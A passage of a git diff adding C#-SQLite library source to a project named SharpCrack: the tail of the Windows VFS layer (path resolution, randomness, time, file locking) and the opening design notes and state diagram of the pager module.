nFull, /* Size of output buffer in bytes */ + StringBuilder zFull /* Output buffer */ + ) + { + +#if __CYGWIN__ +SimulateIOError( return SQLITE_ERROR ); +UNUSED_PARAMETER(nFull); +cygwin_conv_to_full_win32_path(zRelative, zFull); +return SQLITE_OK; +#endif + +#if SQLITE_OS_WINCE +SimulateIOError( return SQLITE_ERROR ); +UNUSED_PARAMETER(nFull); +/* WinCE has no concept of a relative pathname, or so I am told. */ +sqlite3_snprintf(pVfs.mxPathname, zFull, "%s", zRelative); +return SQLITE_OK; +#endif + +#if !SQLITE_OS_WINCE && !__CYGWIN__ + int nByte; + //string zConverted; + string zOut = null; + + /* If this path name begins with "/X:", where "X" is any alphabetic + ** character, discard the initial "/" from the pathname. + */ + if( zRelative[0]=='/' && Char.IsLetter(zRelative[1]) && zRelative[2]==':' ){ + zRelative = zRelative.Substring(1); + } + + /* It's odd to simulate an io-error here, but really this is just + ** using the io-error infrastructure to test that SQLite handles this + ** function failing. This function could fail if, for example, the + ** current working directory has been unlinked. + */ +#if SQLITE_TEST + if ( SimulateIOError() ) + return SQLITE_ERROR; +#endif + UNUSED_PARAMETER( nFull ); + //convertUtf8Filename(zRelative)); + if ( isNT() ) + { + //string zTemp; + //nByte = GetFullPathNameW( zConverted, 0, 0, 0) + 3; + //zTemp = malloc( nByte*sizeof(zTemp[0]) ); + //if( zTemp==0 ){ + // free(zConverted); + // return SQLITE_NOMEM; + //} + //zTemp = GetFullPathNameW(zConverted, nByte, zTemp, 0); + // will happen on exit; was free(zConverted); + try + { +#if !NOT_WINDOWS_PHONE || SQLITE_SILVERLIGHT + zOut = zRelative; +#else + zOut = Path.GetFullPath( zRelative ); // was unicodeToUtf8(zTemp); +#endif + } + catch ( Exception e ) + { + zOut = zRelative; + } + // will happen on exit; was free(zTemp); + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + } + else + { + Debugger.Break(); // -- Not Running under NT + //string zTemp; + //nByte = GetFullPathNameA(zConverted, 0, 0, 0) + 3; + //zTemp = malloc( nByte*sizeof(zTemp[0]) ); + //if( zTemp==0 ){ + // free(zConverted); + // return SQLITE_NOMEM; + //} + //GetFullPathNameA( zConverted, nByte, zTemp, 0); + // free(zConverted); + //zOut = sqlite3_win32_mbcs_to_utf8(zTemp); + // free(zTemp); +#endif + } + if ( zOut != null ) + { + // sqlite3_snprintf(pVfs.mxPathname, zFull, "%s", zOut); + if ( zFull.Length > pVfs.mxPathname ) + zFull.Length = pVfs.mxPathname; + zFull.Append( zOut ); + + // will happen on exit; was free(zOut); + return SQLITE_OK; + } + else + { + return SQLITE_NOMEM; + } +#endif + } + + + /* + ** Get the sector size of the device used to store + ** file. + */ + static int getSectorSize( + sqlite3_vfs pVfs, + string zRelative /* UTF-8 file name */ + ) + { +#if FALSE +int bytesPerSector = SQLITE_DEFAULT_SECTOR_SIZE; +/* GetDiskFreeSpace is not supported under WINCE */ +#if SQLITE_OS_WINCE +UNUSED_PARAMETER(pVfs); +UNUSED_PARAMETER(zRelative); +#else +StringBuilder zFullpath = new StringBuilder( MAX_PATH + 1 ); +int rc; +//bool dwRet = false; +//int dwDummy = 0; + +/* +** We need to get the full path name of the file +** to get the drive letter to look up the sector +** size. +*/ +SimulateIOErrorBenign(1); +rc = winFullPathname( pVfs, zRelative, MAX_PATH, zFullpath ); +#if SQLITE_TEST +SimulateIOError( return SQLITE_ERROR ) +#endif +if ( rc == SQLITE_OK ) +{ +StringBuilder zConverted = new StringBuilder( convertUtf8Filename( zFullpath.ToString() ) ); +if ( zConverted.Length != 0 ) +{ +if ( isNT() ) +{ +/* trim path to just drive reference */ +//for ( ; *p ; p++ ) +//{ +// if ( *p == '\\' ) +// { +// *p = '\0'; +// break; +// } +//} +int i; +for ( i = 0 ; i < zConverted.Length && i < MAX_PATH ; i++ ) +{ +if ( zConverted[i] == '\\' ) +{ +i++; +break; +} +} +zConverted.Length = i; +//dwRet = GetDiskFreeSpace( zConverted, +// ref dwDummy, +// ref bytesPerSector, +// ref dwDummy, +// ref dwDummy ); +//}else{ +// /* trim path to just drive reference */ +// char *p = (char )zConverted; +// for ( ; *p ; p++ ) +// { +// if ( *p == '\\' ) +// { +// *p = '\0'; +// break; +// } +// } +// dwRet = GetDiskFreeSpaceA((char)zConverted, +// dwDummy, +// ref bytesPerSector, +// dwDummy, +// dwDummy ); +} +//free(zConverted); +} +// if ( !dwRet ) +// { +// bytesPerSector = SQLITE_DEFAULT_SECTOR_SIZE; +// } +//} +//#endif +bytesPerSector = GetbytesPerSector( zConverted ); +} +#endif +return bytesPerSector == 0 ? SQLITE_DEFAULT_SECTOR_SIZE : bytesPerSector; +#endif + return SQLITE_DEFAULT_SECTOR_SIZE; + } + +#if !SQLITE_OMIT_LOAD_EXTENSION + /* +** Interfaces for opening a shared library, finding entry points +** within the shared library, and closing the shared library. +*/ + /* + ** Interfaces for opening a shared library, finding entry points + ** within the shared library, and closing the shared library. + */ + //static void winDlOpen(sqlite3_vfs pVfs, string zFilename){ + // HANDLE h; + // void *zConverted = convertUtf8Filename(zFilename); + // UNUSED_PARAMETER(pVfs); + // if( zConverted==0 ){ + // return 0; + // } + // if( isNT() ){ + // h = LoadLibraryW((WCHAR)zConverted); + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + // }else{ + // h = LoadLibraryA((char)zConverted); +#endif + // } + // free(zConverted); + // return (void)h; + //} + //static void winDlError(sqlite3_vfs pVfs, int nBuf, string zBufOut){ + // UNUSED_PARAMETER(pVfs); + // getLastErrorMsg(nBuf, zBufOut); + //} + // static object winDlSym(sqlite3_vfs pVfs, HANDLE pHandle, String zSymbol){ + // UNUSED_PARAMETER(pVfs); + //#if SQLITE_OS_WINCE + // /* The GetProcAddressA() routine is only available on wince. */ + // return GetProcAddressA((HANDLE)pHandle, zSymbol); + //#else + // /* All other windows platforms expect GetProcAddress() to take + // ** an Ansi string regardless of the _UNICODE setting */ + // return GetProcAddress((HANDLE)pHandle, zSymbol); + //#endif + // } + // static void winDlClose( sqlite3_vfs pVfs, HANDLE pHandle ) + // { + // UNUSED_PARAMETER(pVfs); + // FreeLibrary((HANDLE)pHandle); + // } + //TODO -- Fix This + static HANDLE winDlOpen( sqlite3_vfs vfs, string zFilename ) + { + return new HANDLE(); + } + static int winDlError( sqlite3_vfs vfs, int nByte, string zErrMsg ) + { + return 0; + } + static HANDLE winDlSym( sqlite3_vfs vfs, HANDLE data, string zSymbol ) + { + return new HANDLE(); + } + static int winDlClose( sqlite3_vfs vfs, HANDLE data ) + { + return 0; + } +#else // * if SQLITE_OMIT_LOAD_EXTENSION is defined: */ +static object winDlOpen(ref sqlite3_vfs vfs, string zFilename) { return null; } +static int winDlError(ref sqlite3_vfs vfs, int nByte, ref string zErrMsg) { return 0; } +static object winDlSym(ref sqlite3_vfs vfs, object data, string zSymbol) { return null; } +static int winDlClose(ref sqlite3_vfs vfs, object data) { return 0; } +#endif + + + /* +** Write up to nBuf bytes of randomness into zBuf. +*/ + + //[StructLayout( LayoutKind.Explicit, Size = 16, CharSet = CharSet.Ansi )] + //public class _SYSTEMTIME + //{ + // [FieldOffset( 0 )] + // public u32 byte_0_3; + // [FieldOffset( 4 )] + // public u32 byte_4_7; + // [FieldOffset( 8 )] + // public u32 byte_8_11; + // [FieldOffset( 12 )] + // public u32 byte_12_15; + //} + //[DllImport( "Kernel32.dll" )] + //private static extern bool QueryPerformanceCounter( out long lpPerformanceCount ); + + static int winRandomness( sqlite3_vfs pVfs, int nBuf, byte[] zBuf ) + { + int n = 0; + UNUSED_PARAMETER( pVfs ); +#if (SQLITE_TEST) + n = nBuf; + Array.Clear( zBuf, 0, n );// memset( zBuf, 0, nBuf ); +#else +byte[] sBuf = BitConverter.GetBytes(System.DateTime.Now.Ticks); +zBuf[0] = sBuf[0]; +zBuf[1] = sBuf[1]; +zBuf[2] = sBuf[2]; +zBuf[3] = sBuf[3]; +;// memcpy(&zBuf[n], x, sizeof(x)) +n += 16;// sizeof(x); +if ( sizeof( DWORD ) <= nBuf - n ) +{ +//DWORD pid = GetCurrentProcessId(); +u32 processId; +//#if !SQLITE_SILVERLIGHT +//processId = (u32)Process.GetCurrentProcess().Id; +//#else +processId = 28376023; +//#endif +put32bits( zBuf, n, processId);//(memcpy(&zBuf[n], pid, sizeof(pid)); +n += 4;// sizeof(pid); +} +if ( sizeof( DWORD ) <= nBuf - n ) +{ +//DWORD cnt = GetTickCount(); +System.DateTime dt = new System.DateTime(); +put32bits( zBuf, n, (u32)dt.Ticks );// memcpy(&zBuf[n], cnt, sizeof(cnt)); +n += 4;// cnt.Length; +} +if ( sizeof( long ) <= nBuf - n ) +{ +long i; +i = System.DateTime.UtcNow.Millisecond;// QueryPerformanceCounter(out i); +put32bits( zBuf, n, (u32)( i & 0xFFFFFFFF ) );//memcpy(&zBuf[n], i, sizeof(i)); +put32bits( zBuf, n, (u32)( i >> 32 ) ); +n += sizeof( long ); +} +#endif + return n; + } + + + /* + ** Sleep for a little while. Return the amount of time slept. + */ + static int winSleep( sqlite3_vfs pVfs, int microsec ) + { + Thread.Sleep( (( microsec + 999 ) / 1000 )); + UNUSED_PARAMETER( pVfs ); + return ( ( microsec + 999 ) / 1000 ) * 1000; + } + + /* + ** The following variable, if set to a non-zero value, is interpreted as + ** the number of seconds since 1970 and is used to set the result of + ** sqlite3OsCurrentTime() during testing. + */ +#if SQLITE_TEST +#if !TCLSH + static int sqlite3_current_time = 0;// /* Fake system time in seconds since 1970. */ +#else + static tcl.lang.Var.SQLITE3_GETSET sqlite3_current_time = new tcl.lang.Var.SQLITE3_GETSET( "sqlite3_current_time" ); +#endif +#endif + + /* +** Find the current time (in Universal Coordinated Time). Write into *piNow +** the current time and date as a Julian Day number times 86_400_000. In +** other words, write into *piNow the number of milliseconds since the Julian +** epoch of noon in Greenwich on November 24, 4714 B.C according to the +** proleptic Gregorian calendar. +** +** On success, return 0. Return 1 if the time and date cannot be found. +*/ + static int winCurrentTimeInt64( sqlite3_vfs pVfs, ref sqlite3_int64 piNow ) + { + /* FILETIME structure is a 64-bit value representing the number of + 100-nanosecond intervals since January 1, 1601 (= JD 2305813.5). + */ + //var ft = new FILETIME(); + const sqlite3_int64 winFiletimeEpoch = 23058135 * (sqlite3_int64)8640000; +#if SQLITE_TEST + const sqlite3_int64 unixEpoch = 24405875 * (sqlite3_int64)8640000; +#endif + + ///* 2^32 - to avoid use of LL and warnings in gcc */ + //const sqlite3_int64 max32BitValue = + //(sqlite3_int64)2000000000 + (sqlite3_int64)2000000000 + (sqlite3_int64)294967296; + + //#if SQLITE_OS_WINCE + //SYSTEMTIME time; + //GetSystemTime(&time); + ///* if SystemTimeToFileTime() fails, it returns zero. */ + //if (!SystemTimeToFileTime(&time,&ft)){ + //return 1; + //} + //#else + // GetSystemTimeAsFileTime( ref ft ); + // ft = System.DateTime.UtcNow.ToFileTime(); + //#endif + //sqlite3_int64 ft = System.DateTime.UtcNow.ToFileTime(); + //piNow = winFiletimeEpoch + ft; + //((((sqlite3_int64)ft.dwHighDateTime)*max32BitValue) + + // (sqlite3_int64)ft.dwLowDateTime)/(sqlite3_int64)10000; + piNow = winFiletimeEpoch + System.DateTime.UtcNow.ToFileTimeUtc() / (sqlite3_int64)10000; +#if SQLITE_TEST +#if !TCLSH + if ( ( sqlite3_current_time) != 0 ) + { + piNow = 1000 * (sqlite3_int64)sqlite3_current_time + unixEpoch; + } +#else + if ( ( sqlite3_current_time.iValue ) != 0 ) + { + piNow = 1000 * (sqlite3_int64)sqlite3_current_time.iValue + unixEpoch; + } +#endif +#endif + UNUSED_PARAMETER( pVfs ); + return 0; + } + + + /* + ** Find the current time (in Universal Coordinated Time). Write the + ** current time and date as a Julian Day number into *prNow and + ** return 0. Return 1 if the time and date cannot be found. + */ + static int winCurrentTime( sqlite3_vfs pVfs, ref double prNow ) + { + int rc; + sqlite3_int64 i = 0; + rc = winCurrentTimeInt64( pVfs, ref i ); + if ( 0 == rc ) + { + prNow = i / 86400000.0; + } + return rc; + } + + /* + ** The idea is that this function works like a combination of + ** GetLastError() and FormatMessage() on windows (or errno and + ** strerror_r() on unix). After an error is returned by an OS + ** function, SQLite calls this function with zBuf pointing to + ** a buffer of nBuf bytes. The OS layer should populate the + ** buffer with a nul-terminated UTF-8 encoded error message + ** describing the last IO error to have occurred within the calling + ** thread. + ** + ** If the error message is too large for the supplied buffer, + ** it should be truncated. The return value of xGetLastError + ** is zero if the error message fits in the buffer, or non-zero + ** otherwise (if the message was truncated). If non-zero is returned, + ** then it is not necessary to include the nul-terminator character + ** in the output buffer. + ** + ** Not supplying an error message will have no adverse effect + ** on SQLite. It is fine to have an implementation that never + ** returns an error message: + ** + ** int xGetLastError(sqlite3_vfs pVfs, int nBuf, string zBuf){ + ** Debug.Assert(zBuf[0]=='\0'); + ** return 0; + ** } + ** + ** However if an error message is supplied, it will be incorporated + ** by sqlite into the error message available to the user using + ** sqlite3_errmsg(), possibly making IO errors easier to debug. + */ + static int winGetLastError( sqlite3_vfs pVfs, int nBuf, ref string zBuf ) + { + UNUSED_PARAMETER( pVfs ); + return getLastErrorMsg( nBuf, ref zBuf ); + } + + static sqlite3_vfs winVfs = new sqlite3_vfs( + 3, /* iVersion */ + -1, //sqlite3_file.Length, /* szOsFile */ + MAX_PATH, /* mxPathname */ + null, /* pNext */ + "win32", /* zName */ + 0, /* pAppData */ + + (dxOpen)winOpen, /* xOpen */ + (dxDelete)winDelete, /* xDelete */ + (dxAccess)winAccess, /* xAccess */ + (dxFullPathname)winFullPathname,/* xFullPathname */ + (dxDlOpen)winDlOpen, /* xDlOpen */ + (dxDlError)winDlError, /* xDlError */ + (dxDlSym)winDlSym, /* xDlSym */ + (dxDlClose)winDlClose, /* xDlClose */ + (dxRandomness)winRandomness, /* xRandomness */ + (dxSleep)winSleep, /* xSleep */ + (dxCurrentTime)winCurrentTime, /* xCurrentTime */ + (dxGetLastError)winGetLastError,/* xGetLastError */ + (dxCurrentTimeInt64)winCurrentTimeInt64, /* xCurrentTimeInt64 */ + null, /* xSetSystemCall */ + null, /* xGetSystemCall */ + null /* xNextSystemCall */ + ); + + /* + ** Initialize and deinitialize the operating system interface. + */ + static int sqlite3_os_init() + { +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +/* get memory map allocation granularity */ +memset(&winSysInfo, 0, sizeof(SYSTEM_INFO)); +GetSystemInfo(&winSysInfo); +Debug.Assert(winSysInfo.dwAllocationGranularity > 0); +#endif + + sqlite3_vfs_register( winVfs, 1 ); + return SQLITE_OK; + } + + static int sqlite3_os_end() + { + return SQLITE_OK; + } + +#endif // * SQLITE_OS_WIN */ + // + // Windows DLL definitions + // + + const int NO_ERROR = 0; + /// + /// Basic locking strategy for Console/Winform applications + /// + private class LockingStrategy + { +#if NO_SQLITE_SILVERLIGHT //#if !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) + [DllImport( "kernel32.dll" )] + static extern bool LockFileEx( IntPtr hFile, uint dwFlags, uint dwReserved, + uint nNumberOfBytesToLockLow, uint nNumberOfBytesToLockHigh, + [In] ref System.Threading.NativeOverlapped lpOverlapped ); + + const int LOCKFILE_FAIL_IMMEDIATELY = 1; +#endif + public virtual void LockFile( sqlite3_file pFile, long offset, long length ) + { +#if NO_SQLITE_SILVERLIGHT //#if !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) + pFile.fs.Lock( offset, length ); +#endif + } + + public virtual int SharedLockFile( sqlite3_file pFile, long offset, long length ) + { +#if NO_SQLITE_SILVERLIGHT //#if !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) + Debug.Assert( length == SHARED_SIZE ); + Debug.Assert( offset == SHARED_FIRST ); + NativeOverlapped ovlp = new NativeOverlapped(); + ovlp.OffsetLow = (int)offset; + ovlp.OffsetHigh = 0; + ovlp.EventHandle = IntPtr.Zero; + + return LockFileEx( pFile.fs.Handle, LOCKFILE_FAIL_IMMEDIATELY, 0, (uint)length, 0, ref ovlp ) ? 1 : 0; +#else + return 1; +#endif + } + + public virtual void UnlockFile( sqlite3_file pFile, long offset, long length ) + { +#if NO_SQLITE_SILVERLIGHT //#if !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) + pFile.fs.Unlock( offset, length ); +#endif + } + } + + /// + /// Locking strategy for Medium Trust. It uses the same trick used in the native code for WIN_CE + /// which doesn't support LockFileEx as well. + /// + private class MediumTrustLockingStrategy : LockingStrategy + { + public override int SharedLockFile( sqlite3_file pFile, long offset, long length ) + { +#if NO_SQLITE_SILVERLIGHT //#if !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) + Debug.Assert( length == SHARED_SIZE ); + Debug.Assert( offset == SHARED_FIRST ); + try + { + pFile.fs.Lock( offset + pFile.sharedLockByte, 1 ); + } + catch ( IOException ) + { + return 0; + } +#endif + return 1; + } + } + } + internal static class HelperMethods + { + public static bool IsRunningMediumTrust() + { + // placeholder method + // this is where it needs to check if it's running in an ASP.Net MediumTrust or lower environment + // in order to pick the appropriate locking strategy +#if !NO_SQLITE_SILVERLIGHT +return true; +#else + return false; +#endif + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pager_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pager_c.cs new file mode 100644 index 0000000..081201e --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pager_c.cs @@ -0,0 +1,7837 @@ +using System; +using System.Diagnostics; +using System.IO; + +using i16 = System.Int16; +using i64 = System.Int64; + +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; + +using Pgno = System.UInt32; +using sqlite3_int64 = System.Int64; + +namespace Community.CsharpSqlite +{ + using System.Text; + using DbPage = Sqlite3.PgHdr; + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This is the implementation of the page cache subsystem or "pager". + ** + ** The pager is used to access a database disk file. It implements + ** atomic commit and rollback through the use of a journal file that + ** is separate from the database file. The pager also implements file + ** locking to prevent two processes from writing the same database + ** file simultaneously, or one process from reading the database while + ** another is writing. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ +#if !SQLITE_OMIT_DISKIO + //#include "sqliteInt.h" + //#include "wal.h" + + + /******************* NOTES ON THE DESIGN OF THE PAGER ************************ + ** + ** This comment block describes invariants that hold when using a rollback + ** journal. These invariants do not apply for journal_mode=WAL, + ** journal_mode=MEMORY, or journal_mode=OFF. + ** + ** Within this comment block, a page is deemed to have been synced + ** automatically as soon as it is written when PRAGMA synchronous=OFF. + ** Otherwise, the page is not synced until the xSync method of the VFS + ** is called successfully on the file containing the page. + ** + ** Definition: A page of the database file is said to be "overwriteable" if + ** one or more of the following are true about the page: + ** + ** (a) The original content of the page as it was at the beginning of + ** the transaction has been written into the rollback journal and + ** synced. + ** + ** (b) The page was a freelist leaf page at the start of the transaction. + ** + ** (c) The page number is greater than the largest page that existed in + ** the database file at the start of the transaction. + ** + ** (1) A page of the database file is never overwritten unless one of the + ** following are true: + ** + ** (a) The page and all other pages on the same sector are overwriteable. + ** + ** (b) The atomic page write optimization is enabled, and the entire + ** transaction other than the update of the transaction sequence + ** number consists of a single page change. + ** + ** (2) The content of a page written into the rollback journal exactly matches + ** both the content in the database when the rollback journal was written + ** and the content in the database at the beginning of the current + ** transaction. + ** + ** (3) Writes to the database file are an integer multiple of the page size + ** in length and are aligned on a page boundary. + ** + ** (4) Reads from the database file are either aligned on a page boundary and + ** an integer multiple of the page size in length or are taken from the + ** first 100 bytes of the database file. + ** + ** (5) All writes to the database file are synced prior to the rollback journal + ** being deleted, truncated, or zeroed. + ** + ** (6) If a master journal file is used, then all writes to the database file + ** are synced prior to the master journal being deleted. + ** + ** Definition: Two databases (or the same database at two points it time) + ** are said to be "logically equivalent" if they give the same answer to + ** all queries. Note in particular the the content of freelist leaf + ** pages can be changed arbitarily without effecting the logical equivalence + ** of the database. + ** + ** (7) At any time, if any subset, including the empty set and the total set, + ** of the unsynced changes to a rollback journal are removed and the + ** journal is rolled back, the resulting database file will be logical + ** equivalent to the database file at the beginning of the transaction. + ** + ** (8) When a transaction is rolled back, the xTruncate method of the VFS + ** is called to restore the database file to the same size it was at + ** the beginning of the transaction. (In some VFSes, the xTruncate + ** method is a no-op, but that does not change the fact the SQLite will + ** invoke it.) + ** + ** (9) Whenever the database file is modified, at least one bit in the range + ** of bytes from 24 through 39 inclusive will be changed prior to releasing + ** the EXCLUSIVE lock, thus signaling other connections on the same + ** database to flush their caches. + ** + ** (10) The pattern of bits in bytes 24 through 39 shall not repeat in less + ** than one billion transactions. + ** + ** (11) A database file is well-formed at the beginning and at the conclusion + ** of every transaction. + ** + ** (12) An EXCLUSIVE lock is held on the database file when writing to + ** the database file. + ** + ** (13) A SHARED lock is held on the database file while reading any + ** content out of the database file. + ** + ******************************************************************************/ + + /* + ** Macros for troubleshooting. Normally turned off + */ +#if TRACE + +static bool sqlite3PagerTrace = false; /* True to enable tracing */ +//#define sqlite3DebugPrintf printf +//#define PAGERTRACE(X) if( sqlite3PagerTrace ){ sqlite3DebugPrintf X; } +static void PAGERTRACE( string T, params object[] ap ) { if ( sqlite3PagerTrace )sqlite3DebugPrintf( T, ap ); } +#else + //#define PAGERTRACE(X) + static void PAGERTRACE( string T, params object[] ap ) + { + } +#endif + + /* +** The following two macros are used within the PAGERTRACE() macros above +** to print out file-descriptors. +** +** PAGERID() takes a pointer to a Pager struct as its argument. The +** associated file-descriptor is returned. FILEHANDLEID() takes an sqlite3_file +** struct as its argument. +*/ + //#define PAGERID(p) ((int)(p.fd)) + static int PAGERID( Pager p ) + { + return p.GetHashCode(); + } + + //#define FILEHANDLEID(fd) ((int)fd) + static int FILEHANDLEID( sqlite3_file fd ) + { + return fd.GetHashCode(); + } + + /* + ** The Pager.eState variable stores the current 'state' of a pager. A + ** pager may be in any one of the seven states shown in the following + ** state diagram. + ** + ** OPEN <------+------+ + ** | | | + ** V | | + ** +---------> READER-------+ | + ** | | | + ** | V | + ** |<-------WRITER_LOCKED------> ERROR + ** | | ^ + ** | V | + ** |<------WRITER_CACHEMOD-------->| + ** | | | + ** | V | + ** |<-------WRITER_DBMOD---------->| + ** | | | + ** | V | + ** +<------WRITER_FINISHED-------->+ + ** + ** + ** List of state transitions and the C [function] that performs each: + ** + ** OPEN -> READER [sqlite3PagerSharedLock] + ** READER -> OPEN [pager_unlock] + ** + ** READER -> WRITER_LOCKED [sqlite3PagerBegin] + ** WRITER_LOCKED -> WRITER_CACHEMOD [pager_open_journal] + ** WRITER_CACHEMOD -> WRITER_DBMOD [syncJournal] + ** WRITER_DBMOD -> WRITER_FINISHED [sqlite3PagerCommitPhaseOne] + ** WRITER_*** -> READER [pager_end_transaction] + ** + ** WRITER_*** -> ERROR [pager_error] + ** ERROR -> OPEN [pager_unlock] + ** + ** + ** OPEN: + ** + ** The pager starts up in this state. Nothing is guaranteed in this + ** state - the file may or may not be locked and the database size is + ** unknown. The database may not be read or written. + ** + ** * No read or write transaction is active. + ** * Any lock, or no lock at all, may be held on the database file. + ** * The dbSize, dbOrigSize and dbFileSize variables may not be trusted. + ** + ** READER: + ** + ** In this state all the requirements for reading the database in + ** rollback (non-WAL) mode are met. Unless the pager is (or recently + ** was) in exclusive-locking mode, a user-level read transaction is + ** open. The database size is known in this state. + ** + ** A connection running with locking_mode=normal enters this state when + ** it opens a read-transaction on the database and returns to state + ** OPEN after the read-transaction is completed. However a connection + ** running in locking_mode=exclusive (including temp databases) remains in + ** this state even after the read-transaction is closed. The only way + ** a locking_mode=exclusive connection can transition from READER to OPEN + ** is via the ERROR state (see below). + ** + ** * A read transaction may be active (but a write-transaction cannot). + ** * A SHARED or greater lock is held on the database file. + ** * The dbSize variable may be trusted (even if a user-level read + ** transaction is not active). The dbOrigSize and dbFileSize variables + ** may not be trusted at this point. + ** * If the database is a WAL database, then the WAL connection is open. + ** * Even if a read-transaction is not open, it is guaranteed that + ** there is no hot-journal in the file-system. + ** + ** WRITER_LOCKED: + ** + ** The pager moves to this state from READER when a write-transaction + ** is first opened on the database. In WRITER_LOCKED state, all locks + ** required to start a write-transaction are held, but no actual + ** modifications to the cache or database have taken place. + ** + ** In rollback mode, a RESERVED or (if the transaction was opened with + ** BEGIN EXCLUSIVE) EXCLUSIVE lock is obtained on the database file when + ** moving to this state, but the journal file is not written to or opened + ** to in this state. If the transaction is committed or rolled back while + ** in WRITER_LOCKED state, all that is required is to unlock the database + ** file. + ** + ** IN WAL mode, WalBeginWriteTransaction() is called to lock the log file. + ** If the connection is running with locking_mode=exclusive, an attempt + ** is made to obtain an EXCLUSIVE lock on the database file. + ** + ** * A write transaction is active. + ** * If the connection is open in rollback-mode, a RESERVED or greater + ** lock is held on the database file. + ** * If the connection is open in WAL-mode, a WAL write transaction + ** is open (i.e. sqlite3WalBeginWriteTransaction() has been successfully + ** called). + ** * The dbSize, dbOrigSize and dbFileSize variables are all valid. + ** * The contents of the pager cache have not been modified. + ** * The journal file may or may not be open. + ** * Nothing (not even the first header) has been written to the journal. + ** + ** WRITER_CACHEMOD: + ** + ** A pager moves from WRITER_LOCKED state to this state when a page is + ** first modified by the upper layer. In rollback mode the journal file + ** is opened (if it is not already open) and a header written to the + ** start of it. The database file on disk has not been modified. + ** + ** * A write transaction is active. + ** * A RESERVED or greater lock is held on the database file. + ** * The journal file is open and the first header has been written + ** to it, but the header has not been synced to disk. + ** * The contents of the page cache have been modified. + ** + ** WRITER_DBMOD: + ** + ** The pager transitions from WRITER_CACHEMOD into WRITER_DBMOD state + ** when it modifies the contents of the database file. WAL connections + ** never enter this state (since they do not modify the database file, + ** just the log file). + ** + ** * A write transaction is active. + ** * An EXCLUSIVE or greater lock is held on the database file. + ** * The journal file is open and the first header has been written + ** and synced to disk. + ** * The contents of the page cache have been modified (and possibly + ** written to disk). + ** + ** WRITER_FINISHED: + ** + ** It is not possible for a WAL connection to enter this state. + ** + ** A rollback-mode pager changes to WRITER_FINISHED state from WRITER_DBMOD + ** state after the entire transaction has been successfully written into the + ** database file. In this state the transaction may be committed simply + ** by finalizing the journal file. Once in WRITER_FINISHED state, it is + ** not possible to modify the database further. At this point, the upper + ** layer must either commit or rollback the transaction. + ** + ** * A write transaction is active. + ** * An EXCLUSIVE or greater lock is held on the database file. + ** * All writing and syncing of journal and database data has finished. + ** If no error occured, all that remains is to finalize the journal to + ** commit the transaction. If an error did occur, the caller will need + ** to rollback the transaction. + ** + ** ERROR: + ** + ** The ERROR state is entered when an IO or disk-full error (including + ** SQLITE_IOERR_NOMEM) occurs at a point in the code that makes it + ** difficult to be sure that the in-memory pager state (cache contents, + ** db size etc.) are consistent with the contents of the file-system. + ** + ** Temporary pager files may enter the ERROR state, but in-memory pagers + ** cannot. + ** + ** For example, if an IO error occurs while performing a rollback, + ** the contents of the page-cache may be left in an inconsistent state. + ** At this point it would be dangerous to change back to READER state + ** (as usually happens after a rollback). Any subsequent readers might + ** report database corruption (due to the inconsistent cache), and if + ** they upgrade to writers, they may inadvertently corrupt the database + ** file. To avoid this hazard, the pager switches into the ERROR state + ** instead of READER following such an error. + ** + ** Once it has entered the ERROR state, any attempt to use the pager + ** to read or write data returns an error. Eventually, once all + ** outstanding transactions have been abandoned, the pager is able to + ** transition back to OPEN state, discarding the contents of the + ** page-cache and any other in-memory state at the same time. Everything + ** is reloaded from disk (and, if necessary, hot-journal rollback peformed) + ** when a read-transaction is next opened on the pager (transitioning + ** the pager into READER state). At that point the system has recovered + ** from the error. + ** + ** Specifically, the pager jumps into the ERROR state if: + ** + ** 1. An error occurs while attempting a rollback. This happens in + ** function sqlite3PagerRollback(). + ** + ** 2. An error occurs while attempting to finalize a journal file + ** following a commit in function sqlite3PagerCommitPhaseTwo(). + ** + ** 3. An error occurs while attempting to write to the journal or + ** database file in function pagerStress() in order to free up + ** memory. + ** + ** In other cases, the error is returned to the b-tree layer. The b-tree + ** layer then attempts a rollback operation. If the error condition + ** persists, the pager enters the ERROR state via condition (1) above. + ** + ** Condition (3) is necessary because it can be triggered by a read-only + ** statement executed within a transaction. In this case, if the error + ** code were simply returned to the user, the b-tree layer would not + ** automatically attempt a rollback, as it assumes that an error in a + ** read-only statement cannot leave the pager in an internally inconsistent + ** state. + ** + ** * The Pager.errCode variable is set to something other than SQLITE_OK. + ** * There are one or more outstanding references to pages (after the + ** last reference is dropped the pager should move back to OPEN state). + ** * The pager is not an in-memory pager. + ** + ** + ** Notes: + ** + ** * A pager is never in WRITER_DBMOD or WRITER_FINISHED state if the + ** connection is open in WAL mode. A WAL connection is always in one + ** of the first four states. + ** + ** * Normally, a connection open in exclusive mode is never in PAGER_OPEN + ** state. There are two exceptions: immediately after exclusive-mode has + ** been turned on (and before any read or write transactions are + ** executed), and when the pager is leaving the "error state". + ** + ** * See also: assert_pager_state(). + */ + + //#define PAGER_OPEN 0 + //#define PAGER_READER 1 + //#define PAGER_WRITER_LOCKED 2 + //#define PAGER_WRITER_CACHEMOD 3 + //#define PAGER_WRITER_DBMOD 